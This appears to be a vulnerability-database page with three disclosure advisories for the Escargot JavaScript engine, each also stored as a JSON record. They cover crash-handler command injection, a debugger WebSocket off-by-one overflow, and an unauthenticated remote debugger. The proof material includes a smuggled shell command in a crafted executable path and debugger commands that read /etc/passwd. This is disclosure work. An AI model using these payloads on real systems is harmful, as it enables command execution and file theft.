Search
Find a vulnerability
Search criteria
3 vulnerabilities found for Escargot by unknown
GCVE-1988-2026-0080
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-07 13:20
VLAI
EPSS
VEX
Title
Escargot v4.3.0-214-gfaee4437 OS Command Injection in Crash Handler via Unsanitized Executable Path
Summary
An OS command injection vulnerability exists in the Escargot
v4.3.0-214-gfaee4437 crash handler due to an executable/module path being
incorporated into an addr2line shell command without quoting or escaping.
The resulting command is executed using system(), causing shell
metacharacters contained within the path to be interpreted as command
syntax.
By launching Escargot using a crafted executable path containing shell
metacharacters and subsequently triggering the crash handler, arbitrary
shell commands can be executed with the privileges of the Escargot process.
Dynamic testing confirmed command execution by injecting a benign printf
command into the executable filename. Following a controlled crash, the
injected command executed and created a marker file containing
ESCARGOT_CMD_INJECTION_CONFIRMED.
Technical Details
During crash processing, Escargot generates symbolic stack-trace
information by constructing an addr2line command containing an
executable/module path obtained from the backtrace.
The affected code follows this pattern:
sprintf(
syscom,
"addr2line %s -e %s",
addr.c_str(),
modulePath.c_str());
system(syscom);
modulePath is inserted directly into the command string without shell
quoting, escaping, validation, or argument separation.
Because the resulting string is passed to system(), /bin/sh interprets
shell metacharacters contained within modulePath.
A path containing characters such as:
;
#
can therefore alter the structure of the intended addr2line command and
introduce additional shell commands.
Root Cause
Use of system() to invoke addr2line
Shell command constructed using sprintf()
Executable/module path inserted directly into command
No shell escaping or quoting
No validation of shell metacharacters
No argument separation
The fundamental issue is that a filesystem path is treated as part of a
shell command rather than as an opaque argument to the addr2line executable
Security Impact
An attacker capable of influencing the executable or module path processed
by the crash handler and causing the affected crash-handling path to
execute may run arbitrary operating-system commands with the privileges of
the Escargot process.
Potential impact includes:
Arbitrary OS Command Execution:
Injected shell commands execute in the context of the crashing process.
File Creation or Modification:
Commands can create or modify files accessible to the process.
Local Resource Access:
Injected commands inherit the filesystem and operating-system
permissions of the Escargot process.
Further Host Compromise:
Impact may increase depending on the privileges and execution
environment of the affected process.
The demonstrated PoC establishes command execution under conditions where
the executable path is attacker-controlled. It does not independently
establish that a remote attacker can control the executable/module path in
a standard Escargot deployment.
PoC Results
======================================================================
PoC: Shell Crash Handler Command Injection
======================================================================
[+] RESULT: VULNERABILITY CONFIRMED
[+] Command injection successfully triggered through the crash-handler
executable path.
[+] Injection Payload
printf${IFS}ESCARGOT_CMD_INJECTION_CONFIRMED>escargot_cmd_injection_proof
[+] Crafted Executable Path
/tmp/escargot-poc-bin/escargot;printf${IFS}ESCARGOT_CMD_INJECTION_CONFIRMED>escargot_cmd_injection_proof;#
[+] Crash Trigger
Signal: SIGABRT (6)
Return Code: -6
PID: 3988
[+] Arbitrary Command Execution Evidence
Proof File:
/work/escargot/security-poc/build-debugger-test/escargot_cmd_injection_proof
File Created: YES
File Contents:
ESCARGOT_CMD_INJECTION_CONFIRMED
[+] Exploitation Chain
1. Escargot is executed from a path containing shell metacharacters.
2. A controlled crash triggers the crash/signal handler.
3. The handler incorporates the executable path into a shell command.
4. Shell metacharacters in the executable path are interpreted.
5. The injected printf command executes.
6. A proof file containing the expected marker is created.
[+] Relevant Runtime Evidence
Waiting for client connection 0.0.0.0:6514
Connected from: 127.0.0.1
Assertion `false' failed.
Got signal 6, pid 3988
[bt] Execution path:
...
addr2line: '/tmp/escargot-poc-bin/escargot': No such file
[+] Verification
Expected marker: ESCARGOT_CMD_INJECTION_CONFIRMED
Observed marker: ESCARGOT_CMD_INJECTION_CONFIRMED
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Escargot",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "An OS command injection vulnerability exists in the Escargot\nv4.3.0-214-gfaee4437 crash handler due to an executable/module path being\nincorporated into an addr2line shell command without quoting or escaping.\nThe resulting command is executed using system(), causing shell\nmetacharacters contained within the path to be interpreted as command\nsyntax.\n\nBy launching Escargot using a crafted executable path containing shell\nmetacharacters and subsequently triggering the crash handler, arbitrary\nshell commands can be executed with the privileges of the Escargot process.\n\nDynamic testing confirmed command execution by injecting a benign printf\ncommand into the executable filename. Following a controlled crash, the\ninjected command executed and created a marker file containing\nESCARGOT_CMD_INJECTION_CONFIRMED.\n\n\nTechnical Details\n\nDuring crash processing, Escargot generates symbolic stack-trace\ninformation by constructing an addr2line command containing an\nexecutable/module path obtained from the backtrace.\n\nThe affected code follows this pattern:\n\nsprintf(\n syscom,\n \"addr2line %s -e %s\",\n addr.c_str(),\n modulePath.c_str());\n\nsystem(syscom);\n\nmodulePath is inserted directly into the command string without shell\nquoting, escaping, validation, or argument separation.\n\nBecause the resulting string is passed to system(), /bin/sh interprets\nshell metacharacters contained within modulePath.\n\nA path containing characters such as:\n\n;\n\n\n#\n\ncan therefore alter the structure of the intended addr2line command and\nintroduce additional shell commands.\n\nRoot Cause\n\nUse of system() to invoke addr2line\nShell command constructed using sprintf()\nExecutable/module path inserted directly into command\nNo shell escaping or quoting\nNo validation of shell metacharacters\nNo argument separation\n\nThe fundamental issue is that a filesystem path is treated as part of a\nshell command rather than as an opaque argument to the addr2line executable\nSecurity Impact\n\nAn attacker capable of influencing the executable or module path processed\nby the crash handler and causing the affected crash-handling path to\nexecute may run arbitrary operating-system commands with the privileges of\nthe Escargot process.\n\nPotential impact includes:\n\nArbitrary OS Command Execution:\nInjected shell commands execute in the context of the crashing process.\n\nFile Creation or Modification:\nCommands can create or modify files accessible to the process.\n\nLocal Resource Access:\nInjected commands inherit the filesystem and operating-system\npermissions of the Escargot process.\n\nFurther Host Compromise:\nImpact may increase depending on the privileges and execution\nenvironment of the affected process.\n\nThe demonstrated PoC establishes command execution under conditions where\nthe executable path is attacker-controlled. It does not independently\nestablish that a remote attacker can control the executable/module path in\na standard Escargot deployment.\n\nPoC Results\n======================================================================\n PoC: Shell Crash Handler Command Injection\n======================================================================\n\n[+] RESULT: VULNERABILITY CONFIRMED\n\n[+] Command injection successfully triggered through the crash-handler\n executable path.\n\n[+] Injection Payload\n\nprintf${IFS}ESCARGOT_CMD_INJECTION_CONFIRMED\u003eescargot_cmd_injection_proof\n\n[+] Crafted Executable Path\n\n/tmp/escargot-poc-bin/escargot;printf${IFS}ESCARGOT_CMD_INJECTION_CONFIRMED\u003eescargot_cmd_injection_proof;#\n\n[+] Crash Trigger\n Signal: SIGABRT (6)\n Return Code: -6\n PID: 3988\n\n[+] Arbitrary Command Execution Evidence\n Proof File:\n\n/work/escargot/security-poc/build-debugger-test/escargot_cmd_injection_proof\n\n File Created: YES\n\n File Contents:\n ESCARGOT_CMD_INJECTION_CONFIRMED\n\n[+] Exploitation Chain\n 1. Escargot is executed from a path containing shell metacharacters.\n 2. A controlled crash triggers the crash/signal handler.\n 3. The handler incorporates the executable path into a shell command.\n 4. Shell metacharacters in the executable path are interpreted.\n 5. The injected printf command executes.\n 6. A proof file containing the expected marker is created.\n\n[+] Relevant Runtime Evidence\n\n Waiting for client connection 0.0.0.0:6514\n Connected from: 127.0.0.1\n\n Assertion `false\u0027 failed.\n Got signal 6, pid 3988\n\n [bt] Execution path:\n ...\n addr2line: \u0027/tmp/escargot-poc-bin/escargot\u0027: No such file\n\n[+] Verification\n Expected marker: ESCARGOT_CMD_INJECTION_CONFIRMED\n Observed marker: ESCARGOT_CMD_INJECTION_CONFIRMED\n\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-07T13:20:21Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/108"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/108"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/108"
],
"discovery": "EXTERNAL"
},
"title": "Escargot v4.3.0-214-gfaee4437 OS Command Injection in Crash Handler via Unsanitized Executable Path",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0080",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/108",
"automated": true,
"contentSha256": "1bb3c9a8c0d0644790e28a16fefc18c8d372406899013eaad89d9793831b8434",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/108",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-22T12:45:16Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:21Z",
"dateUpdated": "2026-09-07T13:20:21Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0080"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0079
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-07 13:20
VLAI
EPSS
VEX
Title
Escargot v4.3.0-214-gfaee4437 Debugger WebSocket Off-by-One Stack Buffer Overflow
Summary
Escargot contains a remotely triggerable one-byte stack-based out-of-bounds
write in the WebSocket message handling logic used by the debugger.
When Escargot::DebuggerTcp::receive() receives a binary WebSocket payload
that completely fills the caller-provided stack buffer, the function
successfully copies the payload into the available buffer space but
subsequently appends an additional NUL byte without verifying that space
remains for the terminator.
A 125-byte binary WebSocket payload causes the debugger to write the
terminating NUL byte to buffer[125], immediately beyond the end of the
125-byte stack allocation.
A proof-of-concept client establishes a valid WebSocket connection to the
Escargot debugger endpoint and sends the boundary-sized binary frame.
AddressSanitizer consistently detects the resulting stack-buffer overflow
inside Escargot::DebuggerTcp::receive().
The vulnerability results in stack memory corruption and can remotely
terminate an Escargot process exposing the debugger interface. The current
proof of concept demonstrates reliable denial of service and memory
corruption but does not establish arbitrary code execution.
Vulnerable Code
The debugger decodes the incoming masked WebSocket payload directly into a
caller-provided buffer:
const uint8_t* source = mask_end;
uint8_t* buffer_end = buffer + m_payloadLength;
while (buffer < buffer_end) {
*buffer++ = *source++ ^ *mask++;
if (mask >= mask_end) {
mask -= 4;
}
}
*buffer_end = 0;
The payload copy itself does not exceed the destination when the payload
length exactly equals the destination capacity.
The vulnerability occurs immediately afterward:
*buffer_end = 0;
Because buffer_end is calculated as:
buffer + m_payloadLength
a payload that completely fills the destination causes buffer_end to point
exactly one byte beyond the allocated object.
The implementation does not receive or validate the destination buffer
capacity before performing this additional write.
Root Cause
The vulnerability is an off-by-one error caused by treating a fixed-size
binary buffer as though it always contains sufficient additional capacity
for a NUL terminator.
The affected caller uses a 125-byte stack buffer. With a 125-byte payload,
the copy operation occupies the complete valid range:
buffer[0] ... buffer[124]
After the copy completes:
buffer_end == &buffer[125];
The subsequent operation:
*buffer_end = 0;
is therefore equivalent to:
buffer[125] = '\0';
For a 125-byte allocation, index 125 is outside the object. Valid indexes
are only 0 through 124.
This results in a one-byte stack-based out-of-bounds write.
Proof of Concept
The PoC was executed against an AddressSanitizer-instrumented Escargot
build:
[*] Target binary :
/work/escargot/security-poc/build-debugger-asan/escargot
[*] Debugger URL :
ws://127.0.0.1:6611/escargot-debugger
[*] Payload :
125-byte binary frame
[*] Bug trigger :
DebuggerTcp::receive() writes NUL at buffer[payloadLength]
The client first performs a legitimate WebSocket handshake.
The Escargot debugger accepts the connection:
[+] WebSocket handshake accepted
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: voBbwZEm0j70WZ2O4Hx37ERFeqA=
This confirms that the PoC reaches the debugger through the expected
WebSocket protocol rather than invoking the vulnerable function directly.
The client then sends the boundary-sized binary frame:
[*] Sending binary frame:
opcode=0x2
payload_len=125
The test reports successful reproduction:
[+] Confirmed: True[*] Process return code: -6
The -6 return code corresponds to process termination through SIGABRT. In
this test configuration, the important evidence is not the return code
itself but the accompanying AddressSanitizer report identifying the invalid
stack write.
AddressSanitizer Evidence
AddressSanitizer reports a stack-buffer overflow directly within the
vulnerable receive function:
[evidence] SUMMARY: AddressSanitizer: stack-buffer-overflow
(/work/escargot/security-poc/build-debugger-asan/escargot+0x4fe03c)
(BuildId: 1545896c0ed347436f48a03cdab84e73c634fadd)
in Escargot::DebuggerTcp::receive(unsigned char*, unsigned long&)
The top of the stack trace identifies DebuggerTcp::receive() as the
location of the invalid memory access:
[evidence] #0 0xaaaadfd0e03c
in Escargot::DebuggerTcp::receive(unsigned char*, unsigned long&)
(/work/escargot/security-poc/build-debugger-asan/escargot+0x4fe03c)
[evidence] #1 0xaaaadfcfeb98
in Escargot::DebuggerEscargot::processEvents(
Escargot::ExecutionState*,
Escargot::Optional<Escargot::ByteCodeBlock*>,
bool
)
/work/escargot/src/debugger/DebuggerEscargot.cpp:767
Most importantly, AddressSanitizer identifies the precise stack object that
is exceeded:
[evidence] [800, 925) 'buffer' (line 762)
<== Memory access at offset 925 overflows this variable
The buffer object occupies stack offsets:
[800, 925)
This represents exactly:
925 - 800 = 125 bytes
The first byte outside the allocation is offset 925.
AddressSanitizer reports the invalid access at exactly that offset:
Memory access at offset 925 overflows this variable
The runtime evidence therefore precisely matches the source-level defect.
For a 125-byte buffer:
Stack object: [800, 925)
Buffer size: 125 bytes
Valid offsets: 800 through 924
Invalid write: 925
Overflow distance: 1 byte
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Escargot",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Escargot contains a remotely triggerable one-byte stack-based out-of-bounds\nwrite in the WebSocket message handling logic used by the debugger.\n\nWhen Escargot::DebuggerTcp::receive() receives a binary WebSocket payload\nthat completely fills the caller-provided stack buffer, the function\nsuccessfully copies the payload into the available buffer space but\nsubsequently appends an additional NUL byte without verifying that space\nremains for the terminator.\n\nA 125-byte binary WebSocket payload causes the debugger to write the\nterminating NUL byte to buffer[125], immediately beyond the end of the\n125-byte stack allocation.\n\nA proof-of-concept client establishes a valid WebSocket connection to the\nEscargot debugger endpoint and sends the boundary-sized binary frame.\nAddressSanitizer consistently detects the resulting stack-buffer overflow\ninside Escargot::DebuggerTcp::receive().\n\nThe vulnerability results in stack memory corruption and can remotely\nterminate an Escargot process exposing the debugger interface. The current\nproof of concept demonstrates reliable denial of service and memory\ncorruption but does not establish arbitrary code execution.\nVulnerable Code\n\nThe debugger decodes the incoming masked WebSocket payload directly into a\ncaller-provided buffer:\n\nconst uint8_t* source = mask_end;\nuint8_t* buffer_end = buffer + m_payloadLength;\n\nwhile (buffer \u003c buffer_end) {\n *buffer++ = *source++ ^ *mask++;\n\n if (mask \u003e= mask_end) {\n mask -= 4;\n }\n}\n\n*buffer_end = 0;\n\nThe payload copy itself does not exceed the destination when the payload\nlength exactly equals the destination capacity.\n\nThe vulnerability occurs immediately afterward:\n\n*buffer_end = 0;\n\nBecause buffer_end is calculated as:\n\nbuffer + m_payloadLength\n\na payload that completely fills the destination causes buffer_end to point\nexactly one byte beyond the allocated object.\n\nThe implementation does not receive or validate the destination buffer\ncapacity before performing this additional write.\nRoot Cause\n\nThe vulnerability is an off-by-one error caused by treating a fixed-size\nbinary buffer as though it always contains sufficient additional capacity\nfor a NUL terminator.\n\nThe affected caller uses a 125-byte stack buffer. With a 125-byte payload,\nthe copy operation occupies the complete valid range:\n\nbuffer[0] ... buffer[124]\n\nAfter the copy completes:\n\nbuffer_end == \u0026buffer[125];\n\nThe subsequent operation:\n\n*buffer_end = 0;\n\nis therefore equivalent to:\n\nbuffer[125] = \u0027\\0\u0027;\n\nFor a 125-byte allocation, index 125 is outside the object. Valid indexes\nare only 0 through 124.\n\nThis results in a one-byte stack-based out-of-bounds write.\nProof of Concept\n\nThe PoC was executed against an AddressSanitizer-instrumented Escargot\nbuild:\n\n[*] Target binary :\n /work/escargot/security-poc/build-debugger-asan/escargot\n[*] Debugger URL :\n ws://127.0.0.1:6611/escargot-debugger\n[*] Payload :\n 125-byte binary frame\n[*] Bug trigger :\n DebuggerTcp::receive() writes NUL at buffer[payloadLength]\n\nThe client first performs a legitimate WebSocket handshake.\n\nThe Escargot debugger accepts the connection:\n\n[+] WebSocket handshake accepted\n\nHTTP/1.1 101 Switching Protocols\nUpgrade: websocket\nConnection: Upgrade\nSec-WebSocket-Accept: voBbwZEm0j70WZ2O4Hx37ERFeqA=\n\nThis confirms that the PoC reaches the debugger through the expected\nWebSocket protocol rather than invoking the vulnerable function directly.\n\nThe client then sends the boundary-sized binary frame:\n\n[*] Sending binary frame:\n opcode=0x2\n payload_len=125\n\nThe test reports successful reproduction:\n\n[+] Confirmed: True[*] Process return code: -6\n\nThe -6 return code corresponds to process termination through SIGABRT. In\nthis test configuration, the important evidence is not the return code\nitself but the accompanying AddressSanitizer report identifying the invalid\nstack write.\nAddressSanitizer Evidence\n\nAddressSanitizer reports a stack-buffer overflow directly within the\nvulnerable receive function:\n\n[evidence] SUMMARY: AddressSanitizer: stack-buffer-overflow\n(/work/escargot/security-poc/build-debugger-asan/escargot+0x4fe03c)\n(BuildId: 1545896c0ed347436f48a03cdab84e73c634fadd)\nin Escargot::DebuggerTcp::receive(unsigned char*, unsigned long\u0026)\n\nThe top of the stack trace identifies DebuggerTcp::receive() as the\nlocation of the invalid memory access:\n\n[evidence] #0 0xaaaadfd0e03c\nin Escargot::DebuggerTcp::receive(unsigned char*, unsigned long\u0026)\n(/work/escargot/security-poc/build-debugger-asan/escargot+0x4fe03c)\n[evidence] #1 0xaaaadfcfeb98\nin Escargot::DebuggerEscargot::processEvents(\n Escargot::ExecutionState*,\n Escargot::Optional\u003cEscargot::ByteCodeBlock*\u003e,\n bool\n)\n/work/escargot/src/debugger/DebuggerEscargot.cpp:767\n\nMost importantly, AddressSanitizer identifies the precise stack object that\nis exceeded:\n\n[evidence] [800, 925) \u0027buffer\u0027 (line 762)\n \u003c== Memory access at offset 925 overflows this variable\n\nThe buffer object occupies stack offsets:\n\n[800, 925)\n\nThis represents exactly:\n\n925 - 800 = 125 bytes\n\nThe first byte outside the allocation is offset 925.\n\nAddressSanitizer reports the invalid access at exactly that offset:\n\nMemory access at offset 925 overflows this variable\n\nThe runtime evidence therefore precisely matches the source-level defect.\n\nFor a 125-byte buffer:\n\nStack object: [800, 925)\nBuffer size: 125 bytes\nValid offsets: 800 through 924\nInvalid write: 925\nOverflow distance: 1 byte\n\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-07T13:20:21Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/107"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/107"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/107"
],
"discovery": "EXTERNAL"
},
"title": "Escargot v4.3.0-214-gfaee4437 Debugger WebSocket Off-by-One Stack Buffer Overflow",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0079",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/107",
"automated": true,
"contentSha256": "6f519fea0759d29f0585a9df71b4ffec8f8b9e4a738c15c3324b929ad2764a89",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/107",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-22T12:44:45Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:21Z",
"dateUpdated": "2026-09-07T13:20:21Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0079"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0081
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-07 13:20
VLAI
EPSS
VEX
Title
Escargot v4.3.0-214-gfaee4437 Unauthenticated Remote Debugger Allows Arbitrary JavaScript Evaluation and Local File Disclosure
Summary
An unauthenticated remote debugger vulnerability exists in Escargot
v4.3.0-214-gfaee4437 when the application is compiled with ESCARGOT_DEBUGGER
support and the debug server is enabled using --start-debug-server. The
debugger accepts client connections without authentication or authorization
and provides access to privileged debugger functionality.
An attacker capable of reaching the debugger interface can establish a
debugger session and evaluate JavaScript expressions within the target
runtime. Testing confirmed the vulnerability by executing
read("/etc/passwd") through the debugger and retrieving the contents of the
local file.
Technical Details
The vulnerability occurs because Escargot exposes remote debugger
HTTP/WebSocket endpoints without requiring authentication before
establishing a debugger session.
The exposed debugger routes include:
/escargot-debugger
/devtools/page/1
/json
/json/list
/json/version
Requests to the debugger WebSocket endpoints are routed to the WebSocket
handshake implementation. The handshake performs WebSocket protocol
negotiation but does not authenticate or authorize the connecting client
before providing access to debugger functionality.
Once connected, the debugger accepts evaluation commands that execute
JavaScript expressions within the target Escargot runtime.
The affected functionality is conditionally compiled with:
#ifdef ESCARGOT_DEBUGGER
and enabled at runtime using:
--start-debug-server
Root CauseNo authentication protecting the remote debugger No authorization
check before debugger access Network connectivity treated as sufficient
trust Privileged JavaScript evaluation exposed to debugger clients Debugger
helper functions expose local runtime resources
Impact
Unauthorized Debugger Access:
An unauthenticated client capable of reaching the debugger can
establish an interactive debugging session.
Arbitrary JavaScript Evaluation:
The connected client can submit JavaScript expressions for evaluation
within the target Escargot runtime.
Local File Disclosure:
Files accessible through exposed runtime helper functions can be
retrieved. Testing confirmed disclosure of /etc/passwd.
Runtime State Exposure:
An attacker may inspect interpreter state and interact with other
functionality exposed through the debugger.
The PoC demonstrates JavaScript evaluation and local file disclosure. It
does not, by itself, establish arbitrary operating-system command execution
or native code execution.
Proof of Concept
Start a debugger-enabled Escargot build with the remote debugger enabled
and connect using the debugger client.
The following debugger commands were used:
b /tmp/rdf.js:2
c
p read("/etc/passwd")
c
Output
Connecting to: localhost:6516
Connection created!!!
Stopped at /tmp/rdf.js:1
(escargot-debugger) b /tmp/rdf.js:2
Breakpoint 1 at /tmp/rdf.js:2
(escargot-debugger) c
Stopped at breakpoint:1 /tmp/rdf.js:2
(escargot-debugger) p read("/etc/passwd")
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
(escargot-debugger) c
Print: debugger file read probe complete
Connection closed.
Server-side output confirmed that the debugger was listening and accepted
the connection:
Waiting for client connection 0.0.0.0:6516
Connected from: 127.0.0.1
debugger file read probe complete
The returned data matched the contents of /etc/passwd, confirming that the
debugger accepted an unauthenticated session, evaluated the supplied
JavaScript expression, and returned local file contents to the debugger
client.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Escargot",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "An unauthenticated remote debugger vulnerability exists in Escargot\nv4.3.0-214-gfaee4437 when the application is compiled with ESCARGOT_DEBUGGER\nsupport and the debug server is enabled using --start-debug-server. The\ndebugger accepts client connections without authentication or authorization\nand provides access to privileged debugger functionality.\n\nAn attacker capable of reaching the debugger interface can establish a\ndebugger session and evaluate JavaScript expressions within the target\nruntime. Testing confirmed the vulnerability by executing\nread(\"/etc/passwd\") through the debugger and retrieving the contents of the\nlocal file.\n\nTechnical Details\n\nThe vulnerability occurs because Escargot exposes remote debugger\nHTTP/WebSocket endpoints without requiring authentication before\nestablishing a debugger session.\n\nThe exposed debugger routes include:\n\n/escargot-debugger\n/devtools/page/1\n/json\n/json/list\n/json/version\n\nRequests to the debugger WebSocket endpoints are routed to the WebSocket\nhandshake implementation. The handshake performs WebSocket protocol\nnegotiation but does not authenticate or authorize the connecting client\nbefore providing access to debugger functionality.\n\nOnce connected, the debugger accepts evaluation commands that execute\nJavaScript expressions within the target Escargot runtime.\n\nThe affected functionality is conditionally compiled with:\n\n#ifdef ESCARGOT_DEBUGGER\n\nand enabled at runtime using:\n\n--start-debug-server\n\nRoot CauseNo authentication protecting the remote debugger No authorization\ncheck before debugger access Network connectivity treated as sufficient\ntrust Privileged JavaScript evaluation exposed to debugger clients Debugger\nhelper functions expose local runtime resources\n\nImpact\n\nUnauthorized Debugger Access:\nAn unauthenticated client capable of reaching the debugger can\nestablish an interactive debugging session.\n\nArbitrary JavaScript Evaluation:\nThe connected client can submit JavaScript expressions for evaluation\nwithin the target Escargot runtime.\n\nLocal File Disclosure:\nFiles accessible through exposed runtime helper functions can be\nretrieved. Testing confirmed disclosure of /etc/passwd.\n\nRuntime State Exposure:\nAn attacker may inspect interpreter state and interact with other\nfunctionality exposed through the debugger.\n\nThe PoC demonstrates JavaScript evaluation and local file disclosure. It\ndoes not, by itself, establish arbitrary operating-system command execution\nor native code execution.\n\nProof of Concept\n\nStart a debugger-enabled Escargot build with the remote debugger enabled\nand connect using the debugger client.\n\nThe following debugger commands were used:\n\nb /tmp/rdf.js:2\nc\np read(\"/etc/passwd\")\nc\n\nOutput\n\nConnecting to: localhost:6516\nConnection created!!!\n\nStopped at /tmp/rdf.js:1\n\n(escargot-debugger) b /tmp/rdf.js:2\nBreakpoint 1 at /tmp/rdf.js:2\n\n(escargot-debugger) c\nStopped at breakpoint:1 /tmp/rdf.js:2\n\n(escargot-debugger) p read(\"/etc/passwd\")\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\n...\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash\n\n(escargot-debugger) c\nPrint: debugger file read probe complete\nConnection closed.\n\nServer-side output confirmed that the debugger was listening and accepted\nthe connection:\n\nWaiting for client connection 0.0.0.0:6516\nConnected from: 127.0.0.1\n\ndebugger file read probe complete\n\nThe returned data matched the contents of /etc/passwd, confirming that 